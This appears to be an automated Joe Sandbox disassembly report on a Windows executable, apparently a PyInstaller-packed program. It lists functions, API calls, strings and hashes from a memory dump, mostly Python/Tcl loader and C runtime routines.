Instruction ID: 2725e732b581453a11cc6762f3f697c3dfffd8e5f73bbbfce9f7a15ecc798ea8
Opcode Fuzzy Hash: 0d3b627969e88128c8faa99a2c0e5d438b7f33ec3044a67c5b643e0657b8cf50
Instruction Fuzzy Hash: 01D1B126A58A5286EB20FF21D8501B9BB91FF447A4FC4413AEA0D57B85EF3CF449C760

Function 00007FF7102D9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7102D999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7102D99B5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7102D99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7102D9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7102D9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7102D9A3E

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: f734927f2a49a84ac24edb6f62906e2ac9ff7c7cb767a393f19f47b46c99b962
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 3A319332618F8185DB60DF25E8402AEB7A4FB88764F900136EB8D57B55DF3CE549CB20

Function 00007FF7102E0B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E0BD0
FindFirstFileExW.KERNEL32 ref: 00007FF7102E0CDA

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction ID: 9a6751d48dd4ca2d53db9ded90ede848f4fb2065f2bb27e24210d6760ddaa390
Opcode Fuzzy Hash: fe4d16d24a501c342f9bdefd2dbf7b3c8df5536519bece05b709b84cd6c1ed58
Instruction Fuzzy Hash: 64B1B722B58E8241EA61AB6198501B9EB91EB44BF4FC45132FD5D27B85DF3CF48AC320

Function 00007FF7102E518C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7102E51BA

Part of subcall function 00007FF7102E4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E491C

_get_daylight.LIBCMT ref: 00007FF7102E51CB

Part of subcall function 00007FF7102E48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E48BC

_get_daylight.LIBCMT ref: 00007FF7102E51DC

Part of subcall function 00007FF7102E48D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E48EC

Part of subcall function 00007FF7102D9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
Part of subcall function 00007FF7102D9C58: GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7102E541C), ref: 00007FF7102E5203

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction ID: ff8905ffbdd9d7818128243ef185a5b5f5ba94ed17029985c61b5d4557d103eb
Opcode Fuzzy Hash: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction Fuzzy Hash: 0B518332A58A5286E710FF21D8811A9FB64FF487A4FC4413AEA4D57795DF3CF4488760

Function 00007FF7102CC62C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
Instruction ID: 7a5a47076714c039f073fee3ac2feeb7d39597c18370f1d217b77b2d42fa9b56
Opcode Fuzzy Hash: 84fb9023dc3cd78644239ae856a17877a0dfc2a7c85af1c48b0789cc2cde0ccb
Instruction Fuzzy Hash: A4A0022196CC2BD0E649EF04EA50136BB34FF90320BE01031D54D562A49F3CB409C330

Function 00007FF7102C50B0 Relevance: 157.9, APIs: 44, Strings: 46, Instructions: 364libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C50C0
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5101
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5126
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C514B
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5173
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C519B
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C51C3
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C51EB
GetProcAddress.KERNEL32(?,00007FF7102C5C57,?,00007FF7102C308E), ref: 00007FF7102C5213

Strings

PyObject_CallFunction, xrefs: 00007FF7102C5501, 00007FF7102C551D
PyErr_Clear, xrefs: 00007FF7102C52D1, 00007FF7102C52ED
PyImport_AddModule, xrefs: 00007FF7102C53E9, 00007FF7102C5405
Py_PreInitialize, xrefs: 00007FF7102C51B9, 00007FF7102C51D5
PyUnicode_FromFormat, xrefs: 00007FF7102C5709, 00007FF7102C5725
PyUnicode_Replace, xrefs: 00007FF7102C5781, 00007FF7102C579D
PyRun_SimpleStringFlags, xrefs: 00007FF7102C55F1, 00007FF7102C560D
PyConfig_SetString, xrefs: 00007FF7102C5281, 00007FF7102C529D
PyUnicode_AsUTF8, xrefs: 00007FF7102C5691, 00007FF7102C56AD
PyObject_CallFunctionObjArgs, xrefs: 00007FF7102C5529, 00007FF7102C5545
PyUnicode_Decode, xrefs: 00007FF7102C56B9, 00007FF7102C56D5
Py_DecRef, xrefs: 00007FF7102C50B6, 00007FF7102C50D2
PyEval_EvalCode, xrefs: 00007FF7102C53C1, 00007FF7102C53DD
PyList_Append, xrefs: 00007FF7102C5461, 00007FF7102C547D
PyConfig_Clear, xrefs: 00007FF7102C51E1, 00007FF7102C51FD
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7102C55C9, 00007FF7102C55E5
PyConfig_InitIsolatedConfig, xrefs: 00007FF7102C5209, 00007FF7102C5225
PyMem_RawFree, xrefs: 00007FF7102C54B1, 00007FF7102C54CD
PyImport_ExecCodeModule, xrefs: 00007FF7102C5411, 00007FF7102C542D
PyModule_GetDict, xrefs: 00007FF7102C54D9, 00007FF7102C54F5
PyObject_Str, xrefs: 00007FF7102C55A1, 00007FF7102C55BD
PySys_GetObject, xrefs: 00007FF7102C5641, 00007FF7102C565D
PyErr_Print, xrefs: 00007FF7102C5371, 00007FF7102C538D
Failed to get address for %hs, xrefs: 00007FF7102C50D9
PyErr_Restore, xrefs: 00007FF7102C5399, 00007FF7102C53B5
PyImport_ImportModule, xrefs: 00007FF7102C5439, 00007FF7102C5455
PyUnicode_DecodeFSDefault, xrefs: 00007FF7102C56E1, 00007FF7102C56FD
Py_IsInitialized, xrefs: 00007FF7102C5191, 00007FF7102C51AD
Py_ExitStatusException, xrefs: 00007FF7102C511C, 00007FF7102C5138
PyErr_Fetch, xrefs: 00007FF7102C52F9, 00007FF7102C5315
GetProcAddress, xrefs: 00007FF7102C50E0
PyConfig_SetBytesString, xrefs: 00007FF7102C5259, 00007FF7102C5275
PyErr_NormalizeException, xrefs: 00007FF7102C5321, 00007FF7102C533D
PyMarshal_ReadObjectFromString, xrefs: 00007FF7102C5489, 00007FF7102C54A5
Py_Finalize, xrefs: 00007FF7102C5141, 00007FF7102C515D
PyConfig_Read, xrefs: 00007FF7102C5231, 00007FF7102C524D
PyConfig_SetWideStringList, xrefs: 00007FF7102C52A9, 00007FF7102C52C5
Py_DecodeLocale, xrefs: 00007FF7102C50F7, 00007FF7102C5113
PyStatus_Exception, xrefs: 00007FF7102C5619, 00007FF7102C5635
PyErr_Occurred, xrefs: 00007FF7102C5349, 00007FF7102C5365
PyObject_SetAttrString, xrefs: 00007FF7102C5579, 00007FF7102C5595
PySys_SetObject, xrefs: 00007FF7102C5669, 00007FF7102C5685
PyUnicode_Join, xrefs: 00007FF7102C5759, 00007FF7102C5775
PyObject_GetAttrString, xrefs: 00007FF7102C5551, 00007FF7102C556D
PyUnicode_FromString, xrefs: 00007FF7102C5731, 00007FF7102C574D
Py_InitializeFromConfig, xrefs: 00007FF7102C5169, 00007FF7102C5185

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-2007157414
Opcode ID: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction ID: 007de732a26b705d416c45ba53f4c1a18ed0113852da06de165b60f022ed310d
Opcode Fuzzy Hash: 3c804ccaf4812c993b4970aca99c844c8aa25bcf6244ab31ff714926eb913965
Instruction Fuzzy Hash: AF12D46099EF1791FA16FB44A9101B6ABA4AF49770FE41439C81E22364EF3DF58DC270

Function 00007FF7102C6EA0 Relevance: 119.3, APIs: 33, Strings: 35, Instructions: 280libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7102C6EB7
GetProcAddress.KERNEL32 ref: 00007FF7102C6EFD
GetProcAddress.KERNEL32 ref: 00007FF7102C6F22
GetProcAddress.KERNEL32 ref: 00007FF7102C6F47
GetProcAddress.KERNEL32 ref: 00007FF7102C6F6F
GetProcAddress.KERNEL32 ref: 00007FF7102C6F97
GetProcAddress.KERNEL32 ref: 00007FF7102C6FBF
GetProcAddress.KERNEL32 ref: 00007FF7102C6FE7
GetProcAddress.KERNEL32 ref: 00007FF7102C700F

Strings

Tcl_CreateObjCommand, xrefs: 00007FF7102C71E5, 00007FF7102C7201
Tcl_FinalizeThread, xrefs: 00007FF7102C6F8D, 00007FF7102C6FA9
Tcl_MutexFinalize, xrefs: 00007FF7102C70A5, 00007FF7102C70C1
Tcl_Free, xrefs: 00007FF7102C7375, 00007FF7102C7391
Tcl_CreateInterp, xrefs: 00007FF7102C6EF3, 00007FF7102C6F0F
Tcl_CreateThread, xrefs: 00007FF7102C6FDD, 00007FF7102C6FF9
Tcl_ThreadAlert, xrefs: 00007FF7102C716D, 00007FF7102C7189
Tcl_EvalFile, xrefs: 00007FF7102C72D5, 00007FF7102C72F1
Tcl_NewByteArrayObj, xrefs: 00007FF7102C725D, 00007FF7102C7279
Tcl_GetObjResult, xrefs: 00007FF7102C72AD, 00007FF7102C72C9
Tcl_Init, xrefs: 00007FF7102C6EB0, 00007FF7102C6EC9
Tcl_MutexUnlock, xrefs: 00007FF7102C707D, 00007FF7102C7099
Tcl_DeleteInterp, xrefs: 00007FF7102C6FB5, 00007FF7102C6FD1
Tcl_Finalize, xrefs: 00007FF7102C6F65, 00007FF7102C6F81
Tcl_GetVar2, xrefs: 00007FF7102C7195, 00007FF7102C71B1
Tcl_ConditionFinalize, xrefs: 00007FF7102C70CD, 00007FF7102C70E9
Tcl_SetVar2, xrefs: 00007FF7102C71BD, 00007FF7102C71D9
Tk_GetNumMainWindows, xrefs: 00007FF7102C73C5, 00007FF7102C73E1
Tcl_GetCurrentThread, xrefs: 00007FF7102C7005, 00007FF7102C7021
Tcl_ThreadQueueEvent, xrefs: 00007FF7102C7145, 00007FF7102C7161
Failed to get address for %hs, xrefs: 00007FF7102C6ED0
GetProcAddress, xrefs: 00007FF7102C6ED7
Tcl_ConditionWait, xrefs: 00007FF7102C711D, 00007FF7102C7139
Tcl_NewStringObj, xrefs: 00007FF7102C7235, 00007FF7102C7251
Tcl_GetString, xrefs: 00007FF7102C720D, 00007FF7102C7229
Tcl_SetVar2Ex, xrefs: 00007FF7102C7285, 00007FF7102C72A1
Tk_Init, xrefs: 00007FF7102C739D, 00007FF7102C73B9
Tcl_FindExecutable, xrefs: 00007FF7102C6F18, 00007FF7102C6F34
Tcl_MutexLock, xrefs: 00007FF7102C7055, 00007FF7102C7071
Tcl_ConditionNotify, xrefs: 00007FF7102C70F5, 00007FF7102C7111
Tcl_EvalObjv, xrefs: 00007FF7102C7325, 00007FF7102C7341
Tcl_Alloc, xrefs: 00007FF7102C734D, 00007FF7102C7369
Tcl_JoinThread, xrefs: 00007FF7102C702D, 00007FF7102C7049
Tcl_EvalEx, xrefs: 00007FF7102C72FD, 00007FF7102C7319
Tcl_DoOneEvent, xrefs: 00007FF7102C6F3D, 00007FF7102C6F59

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-3427451314
Opcode ID: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction ID: 5e504b644c3a40f64b5c8a86189c43ec28e7b9216a8c96b11471d89b6c973905
Opcode Fuzzy Hash: ea7dfca1e90abb6d4d8c6eb1b798acaf406610e772db9aaa2d8df727af0780f5
Instruction Fuzzy Hash: CEE1A76499DF4391EA16FB08E9141B5ABA5BF49770FC4503AC81E263A4EF3CB54CC231

Function 00007FF7102C77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7102C7C97,?,?,FFFFFFFF,00007FF7102C3834), ref: 00007FF7102C782C

Part of subcall function 00007FF7102C26C0: MessageBoxW.USER32 ref: 00007FF7102C2736

Strings

LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7102C7840
\, xrefs: 00007FF7102C7861
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7102C796D
%.*s, xrefs: 00007FF7102C790C
CreateDirectory, xrefs: 00007FF7102C7974
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7102C789D
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7102C7803
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7102C78D9

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
Instruction ID: 4fc551f03afe220fa508810956e2b5b4509088c4f11bfb10f8e9aaa6f5827366
Opcode Fuzzy Hash: 9eab8ee9825a9fbd44869a095635737d99e10a8ea38952c2113d32bd4c9397e1
Instruction Fuzzy Hash: C041B421A3CE4381FA51BB24EA552BAEA61BF947A0FC45031D64E52795EE3CF50C8730

Function 00007FF7102C20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7102C211B
SelectObject.GDI32 ref: 00007FF7102C2162
DrawTextW.USER32 ref: 00007FF7102C2185
SelectObject.GDI32 ref: 00007FF7102C219B
ReleaseDC.USER32 ref: 00007FF7102C21AB
MoveWindow.USER32 ref: 00007FF7102C21FB
MoveWindow.USER32 ref: 00007FF7102C223B
MoveWindow.USER32 ref: 00007FF7102C228E
MoveWindow.USER32 ref: 00007FF7102C22D6

Strings

P%, xrefs: 00007FF7102C216F

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction ID: 2515e3242082aed70463a4dedcb934d744a6b3f25cd045521c73e843645ee31c
Opcode Fuzzy Hash: d5dd136cfe9f7ccbcb0fe4cae99cf14dfe1cc9f89db7d8019ba122c6a34f6d98
Instruction Fuzzy Hash: C9510726614BA186D6259F26F4181BBFBA1F798B61F404121EBCE43785DF3CE049DB20

Function 00007FF7102D55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D55E3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D59D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D5C6C

Strings

f, xrefs: 00007FF7102D5705
-, xrefs: 00007FF7102D5679
:, xrefs: 00007FF7102D579C
p, xrefs: 00007FF7102D5695
p, xrefs: 00007FF7102D570D

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction ID: fa29aaffd89cfebb3faf078bedcff510c0b0bf7f27e9d90005ced907e047f879
Opcode Fuzzy Hash: 21cbc72c7e6dc269be11e21f83bf2085e3383c5e1ad4ae35147280bf7774980f
Instruction Fuzzy Hash: 1712A223A0CAA386FB20BA15D0542B9FA51FB40774FD44136E699467C4DFBCFD888B64

Function 00007FF7102D02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D098F

Strings

p, xrefs: 00007FF7102D0432
f, xrefs: 00007FF7102D0575
f, xrefs: 00007FF7102D03C0
p, xrefs: 00007FF7102D03CD
f, xrefs: 00007FF7102D042A

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF710304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554355220.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction ID: c7108147193213be7047729e535db6d711e21f6fce37f56f216e38a4a6e993c5
Opcode Fuzzy Hash: 1ce7302e2fd45bb0c0c54093c0ec2c5d292275181cf657796836d36714c503ba
Instruction Fuzzy Hash: BC129263E0C94386FB20BA15E0947B9EA51FB807A4FD44031F689467E4DB7DFC889B64

Function 00007FF7102C1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON

Download Yara Rule

Strings

fseek, xrefs: 00007FF7102C10CC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7102C11D0
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7102C1097
malloc, xrefs: 00007FF7102C10FC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7102C10C5
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7102C10F5
fread, xrefs: 00007FF7102C11D7

Memory Dump Source

Source File: 0000000B.00000002.1554204786.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 0000000B.00000002.1554173267.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554242811.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.1554283177.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
